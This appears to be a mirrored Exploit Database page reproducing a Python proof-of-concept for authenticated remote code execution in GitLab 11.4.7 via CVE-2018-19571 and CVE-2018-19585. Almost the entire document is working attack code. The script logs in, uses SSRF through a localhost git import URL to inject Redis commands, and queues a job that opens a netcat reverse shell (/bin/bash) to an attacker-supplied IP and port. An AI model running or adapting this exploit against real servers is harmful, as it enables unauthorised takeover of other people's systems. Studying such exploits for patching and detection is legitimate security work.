GitLab 11.4.7 – RCE (Authenticated) (2)

• Exploit Database
• 41 阅读

• 作者： Norbert Hofmann
  日期： 2020-12-24
• 类别：

  • webapps
  平台：

  • ruby
• 来源：https://www.exploit-db.com/exploits/49334/

• # Exploit Title: GitLab 11.4.7 RCE (POC)
  # Date: 24th December 2020
  # Exploit Author: Norbert Hofmann
  # Exploit Modifications: Sam Redmond, Tam Lai Yin
  # Original Author: Mohin Paramasivam
  # Software Link: https://gitlab.com/
  # Environment: GitLab 11.4.7, community edition
  # CVE: CVE-2018-19571 + CVE-2018-19585
  
  #!/usr/bin/python3
  
  import requests
  from bs4 import BeautifulSoup
  import argparse
  import random
  
  
  parser = argparse.ArgumentParser(description='GitLab 11.4.7 RCE')
  parser.add_argument('-u', help='GitLab Username/Email', required=True)
  parser.add_argument('-p', help='Gitlab Password', required=True)
  parser.add_argument('-g', help='Gitlab URL (without port)', required=True)
  parser.add_argument('-l', help='reverse shell ip', required=True)
  parser.add_argument('-P', help='reverse shell port', required=True)
  args = parser.parse_args()
  
  username = args.u
  password = args.p
  gitlab_url = args.g + ":5080"
  local_ip = args.l
  local_port = args.P
  
  session = requests.Session()
  
  # Get Authentication Token
  r = session.get(gitlab_url + "/users/sign_in")
  soup = BeautifulSoup(r.text, features="lxml")
  token = soup.findAll('meta')[16].get("content")
  print(f"[+] authenticity_token: {token}")
  
  login_form = {
  "authenticity_token": token,
  "user[login]": username,
  "user[password]": password,
  "user[remember_me]": "0"
  }
  r = session.post(f"{gitlab_url}/users/sign_in", data=login_form)
  
  if r.status_code != 200:
  exit(f"Login Failed:{r.text}")
  
  # Create project
  import_url = "git%3A%2F%2F%5B0%3A0%3A0%3A0%3A0%3Affff%3A127.0.0.1%5D%3A6379%2Ftest%2F.git"
  project_name = f'project{random.randrange(1, 10000)}'
  project_url = f'{gitlab_url}/{username}'
  
  print(f"[+] Creating project with random name: {project_name}")
  
  form = """\nmulti
  sadd resque:gitlab:queues system_hook_push
  lpush resque:gitlab:queue:system_hook_push "{\\"class\\":\\"GitlabShellWorker\\",\\"args\\":[\\"class_eval\\",\\"open(\\'|""" + f'nc {local_ip} {local_port} -e /bin/bash' + """ \\').read\\"],\\"retry\\":3,\\"queue\\":\\"system_hook_push\\",\\"jid\\":\\"ad52abc5641173e217eb2e52\\",\\"created_at\\":1608799993.1234567,\\"enqueued_at\\":1608799993.1234567}"
  exec
  exec
  exec\n"""
  
  r = session.get(f"{gitlab_url}/projects/new")
  soup = BeautifulSoup(r.text, features="lxml")
  
  namespace_id = soup.find(
  'input', {'name': 'project[namespace_id]'}).get('value')
  
  project_token = soup.findAll('meta')[16].get("content")
  project_token = project_token.replace("==", "%3D%3D")
  project_token = project_token.replace("+", "%2B")
  
  payload = f"utf8=%E2%9C%93&authenticity_token={project_token}&project%5Bimport_url%5D={import_url}{form}&project%5Bci_cd_only%5D=false&project%5Bname%5D={project_name}&project%5Bnamespace_id%5D={namespace_id}&project%5Bpath%5D={project_name}&project%5Bdescription%5D=&project%5Bvisibility_level%5D=0"
  
  cookies = {
  'sidebar_collapsed': 'false',
  'event_filter': 'all',
  'hide_auto_devops_implicitly_enabled_banner_1': 'false',
  '_gitlab_session': session.cookies['_gitlab_session'],
  }
  
  headers = {
  'User-Agent': 'Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US);',
  'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
  'Accept-Language': 'en-US,en;q=0.5',
  'Accept-Encoding': 'gzip, deflate',
  'Referer': f'{gitlab_url}/projects',
  'Content-Type': 'application/x-www-form-urlencoded',
  'Content-Length': '398',
  'Connection': 'close',
  'Upgrade-Insecure-Requests': '1',
  }
  
  print("[+] Running Exploit")
  r = session.post(
  gitlab_url+'/projects', data=payload, cookies=cookies, headers=headers, verify=False)
  if "The change you requested was rejected." in r.text:
  exit('Exploit failed, check input params')
  
  print('[+] Exploit completed successfully!')